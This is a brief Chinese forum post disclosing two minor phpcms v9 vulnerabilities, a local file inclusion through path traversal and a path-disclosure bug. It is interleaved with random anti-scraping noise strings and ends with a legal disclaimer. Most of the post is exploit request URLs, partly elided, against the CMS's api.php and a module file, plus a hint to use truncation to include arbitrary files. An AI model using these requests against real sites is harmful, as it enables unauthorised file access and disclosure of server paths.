phpcms v9两个鸡肋漏洞

admin

我就不贴代码了，有兴趣的自己跟一下吧，说不定可以发现更多。
% h7 h* _) k" M2 C" N' L* q
Exp: http://www.php0day.com/api.php?o ... efile=../../../fuck

6 v" }  Y9 J; Q#包含根目录的fuck.cache.php 又一鸡肋。包含其他文件自己截断吧，看你运气了。
) D% y! a  G. s
, j! U$ v/ |& l" TExp: http://www.php0day.com/phpcms/mo ... l.php?author=b4dboy
7 C5 p1 X* u2 D  \5 C8 Z; U- F) B
#暴路径
# Z# C4 `8 o* [1 Y# x
% m! p4 |# D  U( R! O3 S9 T( x注：请遵守国家相关法律，请勿非法入侵，产生任何后果自己负责。

: g$ B5 R  z0 K6 C# ]3 M& a7 ~​
% i2 @, j# y% s1 _
+1